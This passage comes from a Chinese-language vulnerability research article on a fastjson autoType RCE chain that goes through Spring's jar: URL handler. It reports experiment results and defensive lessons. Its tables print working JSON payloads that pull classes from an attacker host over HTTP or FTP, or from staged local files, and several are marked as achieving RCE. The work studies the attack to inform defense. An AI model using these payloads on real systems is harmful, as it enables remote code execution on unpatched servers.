资料:官方 advisory、腾讯云、奇安信(×2)、LoRexxar、Mrxn、9eek、GCSA(×2)、猎户、DLUT、GitHub Release、CSDN(×2)、FreeBuf、Detect-DefenseLab(共 16 篇)。PoC 仓库:ThanatosXingYu、seklure、dinosn(靶场)、fzypl、zg-sec、Detect-DefenseLab、YoungBear 等。


8. 实验结果(预注册→已执行)

8.0 对照组

格子 环境 payload 结果 判定
对照 A Linux JDK 8 + Jetty FatJar A(http:.. 直载) marker: http://2887647242:18081/a,CL=LaunchedURLClassLoader RCE 阳性
对照 B Linux JDK 17 + Jetty FatJar B(两阶段 fd 枚举) marker: jar:file:/proc/self/fd/34!/fd34/Exception,CL=LaunchedURLClassLoader RCE 阳性
阴性对照 Linux JDK 8 + Tomcat FatJar java.lang.String(良性) NO MARKER,无出站请求 阴性对照通过

8.1 E4:Tomcat 内嵌容器(R3/R3b)

子组 JDK payload fastjson 响应 攻击端观察
E4.1 8 A(http:.. 直载) autoType is not support HEAD + GET /a.class(3 次,transport 成功)
E4.2 17 A(http:.. 直载) autoType is not support HEAD + GET /a.class(3 次,预期内:JDK 9+ verifier 拒绝 //
E4.3 8 B(jar:http: 两阶段 fd 枚举) 超时未完成 大量 GET /x(JAR 下载触发,数组过大导致 Tomcat CL 逐元素委派累积超时 >60s)

裁决:http:// 直载型名称在 Tomcat CL 拓扑下死于 checkAutoType(非 Tomcat CL 阻断)。jar:http:// + Exception 后缀 + fd 两阶段链在机制上成立(PCL=LaunchedURLClassLoader 可完成 getResourceAsStream + jar_cache 落盘;jar:file:// 暂存在 Tomcat JDK17 下已被 E1 对照证实可通),但 E4.3 因 39 元素数组在 Tomcat 逐元素委派下超时而未跑通全链。详见 §5 R3/R3b 分析。

8.2 E1:Windows 本地 staging(R4b)

环境 payload 结果
Windows 11 + JDK 17(Temurin)+ Jetty FatJar {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"} marker: jar:file:/C:/temp/up/pg!/p/Exception,CL=LaunchedURLClassLoader

裁决R4b 证实——RCE 成功。Windows + JDK 9+ 无需出网、无需 /proc,只需可预测路径上传。

8.3 E2:Linux 无出网 staging(R6)

环境 payload 结果
Linux JDK 17 + Jetty FatJar + 网络完全隔离(iptables DROP ALL outbound) {"@type":"jar:file:.tmp.uploads.stage!.p.Exception"} marker: jar:file:/tmp/uploads/stage!/p/Exception,CL=LaunchedURLClassLoader

裁决R6 证实——RCE 成功,全程零出站连接。隔离验证通过。

8.4 E3:Windows UNC/SMB(R7)

环境 payload 结果
Windows 11 + JDK 8(TencentKona)+ Jetty FatJar;攻击端 impacket smbserver {"@type":"jar:file:..2887043830.share.x!.p.Exception"} NO MARKER,SMB 服务器零连接,verbose_class.log 无异常

裁决R7 证伪——transport 未建立。JDK 的 file: URL 处理不穿透到 SMB 协议栈(详见 §5 R7 分析)。

8.5 E5:FTP 传输通道(R8)

环境 payload 结果
Linux JDK 8 + Jetty FatJar;攻击端 pyftpdlib FTP 服务 {"@type":"jar:ftp:..2887647242:2121.x!.p.Exception"} marker: jar:ftp://2887647242:2121/x!/p/Exception,CL=LaunchedURLClassLoader

裁决R8 证实——RCE 成功。JDK 原生 FTP handler 走 URLJarFile.retrieve 同一路径,与 HTTP 等价。防御含义:仅监控 HTTP 出站的防火墙/WAF 对 FTP 通道无效。

8.6 汇总与修正

实验 原假设 结果 矩阵修正
E1 R4b 假设 证实 → 实证(E1, 2026-07-26)
E2 R6 假设 证实 → 实证(E2, 2026-07-26)
E3 R7 RCE/NTLM 假设 证伪 → 死格子(transport 未建立,E3);移除"NTLM hash 降级收益"
E4 R3/R3b 推断 未决(SSRF 确认,RCE 未达成) → 见 §5 更新分析
E5 R8 假设 证实 → 实证(E5, 2026-07-26)

修正规则执行记录:E3 证伪后已移除 §4 矩阵中 R7 的"RCE?"标注和"NTLM hash 降级"描述。E5 证实后 §6.1 防御效力表已补充 FTP 通道说明。


9. 结语:这个漏洞教会我们什么

回看整条链,没有一环是"新"的:replace('.', '/') 从 autoType 时代第一天就在;Spring 的 jar Handler 宽容解析存在了十几年;URLJarFile.retrieve 的落盘行为和 /proc/self/fd 更是 Unix 的老古董;JDK 9 收紧类名校验时甚至没人把它当安全修复。每一环单独看都是合理设计,甚至是防御性设计。漏洞只出现在它们被按特定顺序拼接之后——fastjson 替攻击者按下了那个拼接开关。

这正是为什么黑/白名单、版本升级、WAF 这些"针对已知链环节"的防御会系统性失效:它们防御的是链路上的点,而漏洞住在点与点之间的缝隙里。有效的防御只有两类——斩断信任源头(SafeMode / noneautotype,在信任建立之前拒绝),或拆除缝隙本身的环境前提(出网管控 + 无 staging 面)。至于"语义缝隙"为什么能成为一个可操作的漏洞分析框架、它和 desync / weird machine 等相邻概念的关系,是中篇的主题。

搜索文章

输入关键词开始搜索。